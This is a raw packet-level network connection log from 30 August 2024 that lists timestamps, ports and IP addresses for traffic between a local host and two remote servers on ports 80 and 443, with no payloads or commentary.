Aug 30, 2024 06:17:04.449959993 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.450014114 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.450062990 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.450088024 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.450113058 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.450118065 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.450126886 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.450161934 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.451103926 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.451155901 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.451860905 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.451870918 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.451879978 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.451921940 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.451921940 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.451935053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.451945066 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.451952934 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.451971054 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.451972008 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.451981068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.451992035 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.452035904 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.485295057 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.485315084 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.485323906 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.485367060 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.485367060 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.485408068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.485419035 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.485433102 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.485444069 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.485457897 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.485491037 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.485589027 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.485599995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.485609055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.485619068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.485630035 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.485640049 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.485646009 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.485646009 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.485651970 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.485661983 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.485673904 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.485676050 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.485709906 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.485709906 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.485780001 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.485790014 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.485799074 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.485816002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.485826969 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.485832930 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.485832930 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.485836983 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.485846996 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.485857010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.485867023 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.485872030 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.485877037 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.485888004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.485897064 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.485897064 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.485898018 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.485917091 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.485940933 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.486084938 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486094952 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486151934 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.486231089 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486242056 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486251116 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486267090 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486277103 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486288071 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486291885 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.486291885 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.486298084 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486315012 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486326933 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486327887 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.486337900 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486349106 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486356020 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.486356020 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.486360073 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486371040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486380100 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486388922 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.486392021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486402988 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486402988 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.486414909 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486424923 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486434937 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486449003 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.486449003 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.486452103 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486478090 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.486504078 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.486718893 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486730099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486787081 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.486881971 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486891985 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486901045 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486911058 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486922026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486932039 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486942053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486947060 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.486947060 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.486953020 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486963034 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486973047 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486980915 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.486980915 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.486984015 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.486994028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487003088 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487011909 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487016916 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.487029076 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487035990 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.487040043 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487051010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487054110 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.487060070 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487067938 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.487070084 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487080097 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487091064 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487092972 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.487102032 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487111092 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487113953 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.487122059 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487128973 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.487132072 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487143993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487159014 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.487159014 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.487200022 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.487385035 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487397909 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487406969 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487416983 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487426996 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487438917 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487447023 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.487447023 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.487448931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487459898 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487471104 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487472057 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.487482071 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487498045 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.487509012 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.487541914 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.487740040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487751007 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487760067 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487771988 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487782001 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487792969 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487799883 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.487799883 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.487802982 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487812996 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487832069 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487838030 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.487838030 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.487842083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487852097 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487863064 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487873077 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.487873077 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.487873077 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487883091 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.487907887 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.487914085 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.498873949 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.499296904 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.499459982 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.504203081 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.534701109 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.534739017 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.534755945 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.534779072 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.534790039 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.534809113 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.534816980 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.534857988 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.534940004 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.534977913 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.535029888 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.535075903 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.535146952 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.535175085 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.535187960 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.535193920 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.535209894 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.535226107 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.535375118 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.535408020 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.535428047 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.535434008 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.535461903 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.535473108 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.535567999 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.535597086 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.535600901 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.535609007 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.535634995 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.535695076 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.535732031 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.535892963 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.535939932 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.536030054 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.536060095 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.536073923 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.536081076 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.536089897 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.536099911 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.536112070 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.536117077 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.536133051 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.536149025 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.536302090 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.536351919 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.539979935 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.540028095 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.540061951 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.540092945 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.540097952 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.540103912 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.540126085 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.540220976 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.540266991 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.540409088 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.540441990 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.540458918 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.540465117 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.540478945 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.540494919 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.540570021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.540580988 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.540616035 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.540621996 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.540635109 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.540644884 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.540671110 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.540699005 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.540724993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.540736914 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.540791988 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.573911905 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.573920965 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.573930025 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.573940039 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.573945045 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.573975086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.573980093 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.573985100 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.573993921 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574002981 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574012995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574023008 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.574023008 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.574043036 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.574048042 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574094057 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574103117 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.574103117 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574111938 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574122906 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574135065 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.574153900 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.574176073 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.574202061 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574210882 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574219942 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574263096 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.574263096 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.574287891 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574301004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574310064 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574317932 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574358940 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.574358940 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.574398994 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574409008 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574417114 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574426889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574434996 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574445009 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574451923 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.574454069 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574476957 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.574476957 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.574515104 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.574620008 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574628115 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574635983 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574645042 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574655056 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574666023 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574671030 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.574675083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574692011 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574701071 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574708939 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.574708939 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.574711084 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574718952 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.574748039 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.574748993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574755907 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.574764013 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574773073 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574794054 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.574822903 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.574850082 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574860096 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574867964 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574877977 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574886084 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.574887037 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574898958 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574908018 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.574912071 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.574927092 CEST	49733	80	192.168.2.4	147.45.44.104
